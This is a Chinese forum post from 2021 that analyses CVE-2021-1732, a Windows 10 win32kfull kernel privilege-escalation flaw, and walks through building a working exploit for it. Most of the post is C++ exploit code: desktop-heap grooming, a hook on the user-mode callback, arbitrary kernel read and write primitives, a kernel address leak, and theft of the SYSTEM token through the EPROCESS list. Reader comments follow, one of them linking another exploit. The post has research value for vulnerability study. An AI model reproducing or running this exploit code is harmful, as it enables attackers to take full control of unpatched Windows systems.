-
-
[原创]CVE-2021-1732 Microsoft Windows10 本地提权漏 研究及Exploit开发
-
2021-3-8 20:41
-
CVE-2021-1732 Microsoft Windows10 本地提权漏研究及Poc/Exploit开发
分析及开发涉及到的工具，Ida pro、Windbg、Visual studio 2019，使用环境Windows 10 Version 1809 x64.
1. 漏洞描述
漏洞发生在Windows 图形驱动win32kfull!NtUserCreateWindowEx函数中的一处内核回调用户态分配内存与tagWND->flag属性设置不同步导致的漏洞。使得可以伪造这个tagWND->offset值发生内存越界。
当驱动win32kfull.sys调用NtUserCreateWindowEx创建窗口时会判断tagWND->cbWndExtra(窗口实例额外分配内存数)，该值不为空时调用win32kfull!xxxClientAllocWindowClassExtraBytes函数回调用户层user32.dll!__xxxClientAllocWindowClassExtraBytes分配空间，分配后的地址使用NtCallbackReturn函数修正堆栈后重新返回内核层并保存并继续运行，而当tagWND->flag值包含0x800属性后该保存值变成了一个offset。
攻击者可以Hook user32.dll!_xxxClientAllocWindowClassExtraBytes函数调用NtUserConsoleControl修改tagWND->flag包含0x800属性值后使用NtCallbackReturn返回一个自定义的值到内核tagWND->offset。
2. 受影响系统及应用版本
Windows Server, version 20H2 (Server Core Installation)
Windows 10 Version 20H2 for ARM64-based Systems
Windows 10 Version 20H2 for 32-bit Systems
Windows 10 Version 20H2 for x64-based Systems
Windows Server, version 2004 (Server Core installation)
Windows 10 Version 2004 for x64-based Systems
Windows 10 Version 2004 for ARM64-based Systems
Windows 10 Version 2004 for 32-bit Systems
Windows Server, version 1909 (Server Core installation)
Windows 10 Version 1909 for ARM64-based Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for 32-bit Systems
Windows Server 2019 (Server Core installation)
Windows Server 2019
Windows 10 Version 1809 for ARM64-based Systems
Windows 10 Version 1809 for x64-based Systems
Windows 10 Version 1809 for 32-bit Systems
Windows 10 Version 1803 for ARM64-based Systems
Windows 10 Version 1803 for x64-based Systems
3. Exploit攻击效果图
Windows 10 Version 1809 for x64
4. 漏洞技术原理
漏洞发生在Windows 图形驱动win32kfull!NtUserCreateWindowEx中。
当驱动win32kfull.sys调用NtUserCreateWindowEx创建窗口时会判断tagWND->cbWndExtra(窗口实例额外分配内存数)，该值不为空时调用win32kfull!xxxClientAllocWindowClassExtraBytes函数回调用户层user32.dll!__xxxClientAllocWindowClassExtraBytes创建内存，分配后的地址使用NtCallbackReturn函数修正堆栈后重新返回内核层并保存并继续运行，而当tagWND->flag值包含0x800属性时候对该值采用offset 寻址。
使用NtUserConsoleControl修改flag包含0x800属性。
5. 细节分析之POC开发
1. win32kfull!NtUserCreateWindowEx漏洞关键点
win32kfull!NtUserCreateWindowEx创建窗口时会判断tagWND->cbWndExtra(窗口实例额外分配内存数)，该值不为空时调用win32kfull!xxxClientAllocWindowClassExtraBytes函数分配内存返回分配地址。
图中我们可以看见偏移0xC8为tagWND->cbWndExtra,偏移0x128为tagWND->offset保存分配内存地址。
2. win32kfull!xxxClientAllocWindowClassExtraBytes函数分析:
KeUserModeCallback使用编号123回调用户层user32.dll中的KernelCallbackTable表中函数user32.dll!_xxxClientAllocWindowClassExtraBytes。
31行代码中返回信息第一个指针类型指向的就是用户层分配内存地址。驱动调用ProbeForRead函数进行验证，该函数判断地址+长度小于MmUserProbeAddress就行。
输入到用户层参数是需分配内存大小，长度4字节。
返回信息长度必须为0x18字节。
返回的地址+长度小于MmUserProbeAddress。
当win32kfull!xxxCreateWindowEx调用win32kfull!xxxClientAllocWindowClassExtraBytes后并没有重新设置这个flag,用户可以伪装一个小于MmUserProbeAddress任意值进行越界写入(一次性)。
3. win32kfull!xxxConsoleControl设置flag包含0x800属性:
图中我们可以看得出偏移0xE8是一个flag。
当flag值包含0x800属性时候偏移0x128保存得分配内存地址变成了offset 寻址。
当flag值不包含0x800属性则重新分配内存并设置偏移0x128改成offset 寻址。
第152行代码设置flag值包含0x800属性。
4. win32kfull!NtConsoleControl函数分析:
NtConsoleControl 该函数为未公开函数，我们需要结合分析进行后续调用。
NtConsoleControl
输入参数1：功能序号，小于等于6
输入参数2：输入信息
输入参数3：输入信息长度小于等于0x18
xxxConsoleControl
第102行代码处nIndex == 6 编号是修改flag属性包含0x800功能地方。
第104行代码处判断输入信息长度必须为0x10。
第106行代码处获取输入信息第一个位置为HWND是窗口句柄。
第152行代码处用传入的HWND调用ValidateHwnd转换成内核tagWND结构后偏移0x28(内核tagWND映射到用户层地址)中修改flag值包含0x800属性。
5. user32!_xxxClientAllocWindowClassExtraBytes函数分析：
@2 提到内核win32kfull!xxxClientAllocWindowClassExtraBytes会调用KeUserModeCallback进入用户模式回调。返回信息的长度必须为0x18字节。user32!_xxxClientAllocWindowClassExtraBytes函数分配后的地址使用NtCallbackReturn函数修正堆栈后重新返回内核层并保存并继续运行。
NtCallbackReturn的函数原型NTSTATUS __stdcall NtCallbackReturn(PVOID Result, ULONG ResultLength, NTSTATUS Status)
第8行代码我们可以看出NtCallbackReturn返回了长度0x18的数据，数据第一个8字节是分配后的地址。
6. win32kfull!NtUserCreateWindowEx漏洞流程图
漏洞Attack流程图我们可以看出只要Hook user32!_xxxClientAllocWindowClassExtraBytes中调用NtUserConsoleControl跟NtCallbackReturn就行。
@3 提到调用NtUserConsoleControl会重新设置tagWND->offset跟tagWND->flag值包含0x800属性， flag值包含0x800属性采用offset 寻址。我们在当前调用NtUserConsoleControl的目的就是修改tagWND->flag值包含0x800属性, 再调用NtCallbackReturn函数返回指定值目的是重新修改tagWND->offset, 因为win32kfull!xxxClientAllocWindowClassExtraBytes会把返回值放入到tagWND->offset。
7. 构造POC
系统创建一个窗口流程：
1. 应用程序创建一个窗口会调用user32!CreateWindow/Ex函数。
2. 使用user32u!ZwUserCreateWindowEx函数进入内核模式。
3. 内核驱动win32kXX!NtUserCreateWindowEx从Desktop heap分配窗口对象tagWND, 并以窗口的句柄（HWND）类型返回给调用方。。。。
窗口管理简介：从Windows Vista开始，每个Session是隔离的，Session 0（是一个特殊session）运行着系统服务，应用程序运行在由用户登录系统后创建的一系列Session中。Session 1对应于第一个登陆的用户，Session 2对应于第二个登录系统的用户，以此类推；每个系统Desktop对象都有heap 与之对应，Desktop对象使用heap存储菜单、窗体等。 这里不多介绍。
难点： @4 提到win32kfull!NtUserConsoleControl需要传入窗口句柄，使用句柄调用ValidateHwnd转换成对象后修改tagWND->flag；可漏洞需要在调用CreateWindowEx过程里调用NtUserConsoleControl，此时CreateWindowEx并没有返回HWND！！！
分析win32kfull!NtCreateWindowEx的HWND的创建过程。
2.1
2.2 分析win32kbase!HMAllocObject
第204行代码可以看出HMAllocObject调用Type类型为Window时所采用DesktopAlloc桌面堆进行分配。2.3 User32!HMValidateHandle函数
HMAllocObject创建了桌面堆类型句柄后，会把tagWND对象放入到内核模式到用户模式内存映射地址里。 为了验证句柄的有效性，窗口管理器会调用User32!HMValidateHandle函数读取这个表。函数将句柄和句柄类型作为参数，并在句柄表中查找对应的项。如果查找到对象, 会返回tagWND只读映射的对象指针，通过tagWND这个对象我们可以获取到句柄等一系列窗口信息。
HMValidateHandle是个未公开函数，可以用IsMenu第一个call定位此函数。
第179行代码可以看出tagWnd + 0 保存着创建句柄。
第180行代码可以看出tagWnd + 8 位置保存着tagWND地址与桌面堆地址的偏移。
第526行代码我们可以看出系统使用HMAllocObject创建tagWND，其参数分别为pticurrent当前线程信息 ,Object为ptiCurrent->rpdesk，Type类型1为Window, 空间大小(此类型无意义，会使用用户句柄表获取类型大小)
第540行代码是一些对tagWND信息初始化。
难点解决
好在回调user32!_xxxClientAllocWindowClassExtraBytes函数时候内核已经调用完了win32kbase!HMAllocObject，此时HWND已经存放在内存之中。我们可以创建足够多的窗口让其泄露tagWND映射的对象指针，然后再摧毁大多数窗口使得桌面堆能回收这些对象空间。目前我们已经获取了这些休闲的对象地址，当我们再创建一个窗口时候桌面堆会优先使用休闲空间，我们只需要在hook user32!_xxxClientAllocWindowClassExtraBytes时候搜索查找刚刚摧毁掉的窗口tagWND指针，根据一些特征识别指定窗口就能或者到HWND了！！！POC开发关键代码
//alloc 50 desktop heap address
for (int i = 0; i < 50; i++) {
g_hWnd[i] = CreateWindowEx(NULL, L"Class1", NULL, WS_VISIBLE, 0, 0, 1, 1, NULL, hMenu, hInstance, NULL);
g_pWnd[i] = (ULONG_PTR)fHMValidateHandle(g_hWnd[i], 1); //Get leak kernel mapping desktop heap address
}
//free 48 desktop heap address
for (int i = 2; i < 50; i++) {
if (g_hWnd[i] != NULL) {
DestroyWindow((HWND)g_hWnd[i]);
}
}
NTSTATUS WINAPI MyxxxClientAllocWindowClassExtraBytes(unsigned int* pSize)
{
if (*pSize == g_dwMyWndExtra) {
ULONG_PTR ChangeOffset = 0;
HWND hWnd2 = NULL;
//Search free 50 kernel mapping desktop heap (cbwndextra == g_dwMyWndExtra) points to hWnd
for (int i = 2; i < 48; i++) {
ULONG_PTR cbWndExtra = *(ULONG_PTR*)(g_pWnd[i] + g_cbWndExtra_offset);
if (cbWndExtra == g_dwMyWndExtra) {
hWnd2 = (HWND)*(ULONG_PTR*)(g_pWnd[i]); //Found the "class2" window handle
break;
}
}/**/
if (hWnd2 == NULL) {
//Found fail.
std::cout << "Search free 48 kernel mapping desktop heap (cbwndextra == g_dwMyWndExtra) points to hWnd fail." << std::endl;
}
else {
std::cout << "Search kernel mapping desktop heap points to hWnd: " << std::hex << hWnd2 << std::endl;
}
ULONG_PTR ConsoleCtrlInfo[2] = { 0 };
ConsoleCtrlInfo[0] = (ULONG_PTR)hWnd2;
ConsoleCtrlInfo[1] = ChangeOffset;
NTSTATUS ret = g_fNtUserConsoleControl(6, (ULONG_PTR)&ConsoleCtrlInfo, sizeof(ConsoleCtrlInfo));
ULONG_PTR Result[3] = { 0 };
Result[0] = g_dwpWndKernel_heap_offset0;
return g_fFNtCallbackReturn(&Result, sizeof(Result), 0);
}
return g_fxxxClientAllocWindowClassExtraBytes(pSize);
}6. 细节分析之Exploit开发
此时我们已经能复现漏洞POC，但是距离开发Exploit利用还有很长距离，因为我们还不能读写内核内存，也不知道内核内存位置。我们还需要内核地址泄露跟如何读写内核。
因为要根据HWND操作内核，所以我们重点应该分析相应以HWND为参数的设置型函数。
1. 分析win32kfull!NtSetWindowLong解除限制：
第114行代码可以看出调用User32!SetWindowLong函数时候输入的第二个参数nIndex必须小于偏移0xC8(tagWND->cbWndExtra),不然就返回错误代码0x585。**
第153行代码可以看出如果tagWND->flag值包含0x800属性使用offset寻址。
第154行代码可以看出是使用offset寻址。
第156行代码可以看出是使用内存地址。
第157/158行代码可以看出是替换设置的新值。
从代码看tagWND->flag值包含0x800属性情况下只要我们有办法把tagWND->cbWndExtra改成一个很大很大值(0xFFFFFFFF)就可以使用桌面堆加nIndex来写入指定堆地址（把这个值改成最大是为了更安全防止碰到偏移过大）。
前面@7 3.2.2提到tagWND->8地址里包含内核tagWND地址与桌面堆地址的偏移，漏洞可以一次性控制偏移0x128的tagWND->offset，这样只需要把一个正常窗口的(tagWND->8,内核tagWND地址与桌面堆地址的偏移) 放到漏洞窗口里，我们对漏洞窗口做nIndex(tagWND->cbWndExtra大小内)操作就能修改正常窗口里的tagWND->“nIndex”信息，解除tagWND->cbWndExtra长度过小限制后，我们用这个解除限制的窗口操作nIndex可以对其他窗口桌面堆实现越界写入。
2. 封装内核写接口：
@6.1 我们已经可以修改指定窗口tagWND信息，用内存越界方式写入一个tagWND->flag值不包含0x800属性窗口把偏移0x128(g_dwModifyOffset_offset)改成想要写入的地址，然后用nIndex==0操作这个tagWND->flag值不包含0x800属性窗口就能实现内核写入。
我们可以对tagWND进行修改后可以使用很多API进行读写，不局限于SetWindowLongPtr。
LONG_PTR WriteQWORD(LONG_PTR pAddress, LONG_PTR value)
{
LONG_PTR old = SetWindowLongPtr(g_hWnd[0], dwpWnd0_to_pWnd1_kernel_heap_offset + g_dwModifyOffset_offset, (LONG_PTR)pAddress);
SetWindowLongPtr(g_hWnd[1], 0, (LONG_PTR)value); //Modify offset to memory address
return old;
}3. 封装内核读接口：
我们使用的是User32!GetMenuBarInfo函数进行内核读取，因为可以读取16个字节（我们使用其中8字节），使用User32!GetMenuBarInfo函数进行内核读取需要控制tagWND->spmenu, 所以我们替换了spmenu。
可以对tagWND进行修改后可以使用很多API进行读写，不局限于User32!GetMenuBarInfo。
1. Win32kfull!NtUserGetMenuBarInfo利用分析：
第87行代码可以看出参数idObject需要传入一个-3。
第89代码处对tagWnd->Style做了判断不能包含WS_CHILD。
第91行代码处获取tagWND->spmenu信息。
第104行代码处参数idItem需要传入一个大于0值。
第109行代码处是一个tagWND->spmenu->rgItems指针。
第118/120/…行代码处是根据tagWND->spmenu->rgItems指针内容读取偏移信息。
满足上面条件后才能实现任意读取内存信息。
2. 创建虚假的spmenu对象：
//My spmenu memory struct For read kernel memory g_pMyMenu = (ULONG_PTR)g_fRtlAllocateHeap((PVOID) * (ULONG_PTR*)(__readgsqword(0x60) + 0x30), 0, 0xA0); *(ULONG_PTR*)((PBYTE)g_pMyMenu + 0x98) = (ULONG_PTR)g_fRtlAllocateHeap((PVOID) * (ULONG_PTR*)(__readgsqword(0x60) + 0x30), 0, 0x20); **(ULONG_PTR**)((PBYTE)g_pMyMenu + 0x98) = g_pMyMenu; *(ULONG_PTR*)((PBYTE)g_pMyMenu + 0x28) = (ULONG_PTR)g_fRtlAllocateHeap((PVOID) * (ULONG_PTR*)(__readgsqword(0x60) + 0x30), 0, 0x200); *(ULONG_PTR*)((PBYTE)g_pMyMenu + 0x58) = (ULONG_PTR)g_fRtlAllocateHeap((PVOID) * (ULONG_PTR*)(__readgsqword(0x60) + 0x30), 0, 0x8); //rgItems 1 *(ULONG_PTR*)(*(ULONG_PTR*)((PBYTE)g_pMyMenu + 0x28) + 0x2C) = 1; //cItems 1 *(DWORD*)((PBYTE)g_pMyMenu + 0x40) = 1; *(DWORD*)((PBYTE)g_pMyMenu + 0x44) = 2; *(ULONG_PTR*)(*(ULONG_PTR*)((PBYTE)g_pMyMenu + 0x58)) = 0x4141414141414141;
3. 控制User32!GetMenuBarInfo读取数据：
//Read kernel memory for 16 length
void ReadKernelMemoryQQWORD(ULONG_PTR pAddress, ULONG_PTR& ululOutVal1, ULONG_PTR& ululOutVal2)
{
MENUBARINFO mbi = { 0 };
mbi.cbSize = sizeof(MENUBARINFO);
RECT Rect = { 0 };
GetWindowRect(g_hWnd[1], &Rect);
*(ULONG_PTR*)(*(ULONG_PTR*)((PBYTE)g_pMyMenu + 0x58)) = pAddress - 0x40; //0x44 xItem
GetMenuBarInfo(g_hWnd[1], -3, 1, &mbi);
BYTE pbKernelValue[16] = { 0 };
*(DWORD*)(pbKernelValue) = mbi.rcBar.left - Rect.left;
*(DWORD*)(pbKernelValue + 4) = mbi.rcBar.top - Rect.top;
*(DWORD*)(pbKernelValue + 8) = mbi.rcBar.right - mbi.rcBar.left;
*(DWORD*)(pbKernelValue + 0xc) = mbi.rcBar.bottom - mbi.rcBar.top;
ululOutVal1 = *(ULONG_PTR*)(pbKernelValue);
ululOutVal2 = *(ULONG_PTR*)(pbKernelValue + 8);
/*std::cout
<< "ReadKernelMemory ululOutVal1: "
<< std::hex << ululOutVal1
<< " ululOutVal2: "
<< std::hex << ululOutVal2 << std::endl;*/
}4. 获取内核泄露地址：
目前我们可以操作任意内核内存读写，但只能搞搞蓝屏，所有还需要一个内核地址泄露漏洞。
经过分析，窗口中菜单spmenu对象包含了内核结构地址。
Win32kfull!xxxSetWindowData分析：
第110行代码可以看出参数idObject需要传入一个-12。
第112代码处对tagWnd->Style做了判断包含WS_CHILD。
第114代码处对读取窗口tagWnd->spmenu对象。
第116代码处对修改窗口tagWnd->spmenu对象。
我们需要构造符合上面条件的代码。
ULONGLONG ululStyle = *(ULONGLONG*)((PBYTE)g_pWnd[1] + g_dwExStyle_offset); ululStyle |= 0x4000000000000000L;//WS_CHILD SetWindowLongPtr(g_hWnd[0], dwpWnd0_to_pWnd1_kernel_heap_offset + g_dwExStyle_offset, ululStyle); //Modify add style WS_CHILD ULONG_PTR pSPMenu = SetWindowLongPtr(g_hWnd[1], GWLP_ID, (LONG_PTR)g_pMyMenu); //Return leak kernel address and set fake spmenu memory //pSPMenu leak kernel address, good!!!
5. 提升进程权限：
1. 获取我的进程内核EPROCESS
根据@6.4 提到的pSPMenu对象泄露的内核地址，我们可以从中一步步定位到我的EProcess。
ReadKernelMemoryQQWORD(pSPMenu + 0x18, ululValue1, ululValue2); ReadKernelMemoryQQWORD(ululValue1 + 0x100, ululValue1, ululValue2); ReadKernelMemoryQQWORD(ululValue1, ululValue1, ululValue2); ULONG_PTR pMyEProcess = ululValue1;
2. 修改我的进程EPROCESS权限到System:
定位到自己EPROCESS后遍历EPROCESS->ActiveProcessLinks链表，获取进程ID为4的进程后复制该进程的Token到我的Token。
std::cout << "Get current kernel eprocess: " << pMyEProcess << std::endl;
ULONG_PTR pSystemEProcess = 0;
ULONG_PTR pNextEProcess = pMyEProcess;
for (int i = 0; i < 500; i++) {
ReadKernelMemoryQQWORD(pNextEProcess + g_dwEPROCESS_ActiveProcessLinks_offset, ululValue1, ululValue2);
pNextEProcess = ululValue1 - g_dwEPROCESS_ActiveProcessLinks_offset;
ReadKernelMemoryQQWORD(pNextEProcess + g_dwEPROCESS_UniqueProcessId_offset, ululValue1, ululValue2);
ULONG_PTR nProcessId = ululValue1;
if (nProcessId == 4) { // System process id
pSystemEProcess = pNextEProcess;
std::cout << "System kernel eprocess: " << std::hex << pSystemEProcess << std::endl;
ReadKernelMemoryQQWORD(pSystemEProcess + g_dwEPROCESS_Token_offset, ululValue1, ululValue2);
ULONG_PTR pSystemToken = ululValue1;
ULONG_PTR pMyEProcessToken = pMyEProcess + g_dwEPROCESS_Token_offset;
//Write kernel memory
LONG_PTR old = SetWindowLongPtr(g_hWnd[0], dwpWnd0_to_pWnd1_kernel_heap_offset + g_dwModifyOffset_offset, (LONG_PTR)pMyEProcessToken);
SetWindowLongPtr(g_hWnd[1], 0, (LONG_PTR)pSystemToken); //Modify offset to memory address
SetWindowLongPtr(g_hWnd[0], dwpWnd0_to_pWnd1_kernel_heap_offset + g_dwModifyOffset_offset, (LONG_PTR)old);
break;
}
}7. 恢复漏洞防止蓝屏
完成提权后对修改过的tagWND结构进行恢复。
//Recovery bug
g_dwpWndKernel_heap_offset2 = *(ULONG_PTR*)((PBYTE)pWnd2 + g_dwKernel_pWnd_offset);
ULONG_PTR dwpWnd0_to_pWnd2_kernel_heap_offset = *(ULONGLONG*)((PBYTE)g_pWnd[0] + 0x128);
if (dwpWnd0_to_pWnd2_kernel_heap_offset < g_dwpWndKernel_heap_offset2) {
dwpWnd0_to_pWnd2_kernel_heap_offset = (g_dwpWndKernel_heap_offset2 - dwpWnd0_to_pWnd2_kernel_heap_offset);
DWORD dwFlag = *(ULONGLONG*)((PBYTE)pWnd2 + g_dwModifyOffsetFlag_offset);
dwFlag &= ~0x800;
SetWindowLongPtr(g_hWnd[0], dwpWnd0_to_pWnd2_kernel_heap_offset + g_dwModifyOffsetFlag_offset, dwFlag); //Modify remove flag
PVOID pAlloc = g_fRtlAllocateHeap((PVOID) * (ULONG_PTR*)(__readgsqword(0x60) + 0x30), 0, g_dwMyWndExtra);
SetWindowLongPtr(g_hWnd[0], dwpWnd0_to_pWnd2_kernel_heap_offset + g_dwModifyOffset_offset, (LONG_PTR)pAlloc); //Modify offset to memory address
ULONGLONG ululStyle = *(ULONGLONG*)((PBYTE)g_pWnd[1] + g_dwExStyle_offset);
ululStyle |= 0x4000000000000000L;//WS_CHILD
SetWindowLongPtr(g_hWnd[0], dwpWnd0_to_pWnd1_kernel_heap_offset + g_dwExStyle_offset, ululStyle); //Modify add style WS_CHILD
ULONG_PTR pMyMenu = SetWindowLongPtr(g_hWnd[1], GWLP_ID, (LONG_PTR)pSPMenu);
//free pMyMenu
ululStyle &= ~0x4000000000000000L;//WS_CHILD
SetWindowLongPtr(g_hWnd[0], dwpWnd0_to_pWnd1_kernel_heap_offset + g_dwExStyle_offset, ululStyle); //Modify Remove Style WS_CHILD
std::cout << "Recovery bug prevent blue screen." << std::endl;
}8. 最终我们构造的Exploit代码为：
附件.
[培训]二进制漏洞攻防（第3期）；满10人开班；模糊测试与工具使用二次开发；网络协议漏洞挖掘；Linux内核漏洞挖掘与利用；AOSP漏洞挖掘与利用；代码审计。
|
|
|---|---|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
大哥，您真的是十年磨一剑阿，十年都没发过文章了
 这个漏洞我也写了exp，获取句柄哪里有区别。互相学习https://github.com/KaLendsi/CVE-2021-1732-Exploit
|
|
|
github看的pdf版
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
6. 细节分析之Exploit开发 不然怎么修改tagWND->cbWndExtra到0x0FFFFFFFF啊，看这IDA也是大于就返回，小于和等于就能设置，难道是有别的什么条件我没理解？
最后于 2021-3-31 19:12
被苏啊树编辑
，原因：
|
|
|
|
|
|
我这个怎么是xxxSetWindowLong? 改成NtSetWindowLong就表示内核函数的意思吗，还是有一个统一标准？
最后于 2021-5-31 19:29
被舒默哦编辑
，原因：
|
|
|
|
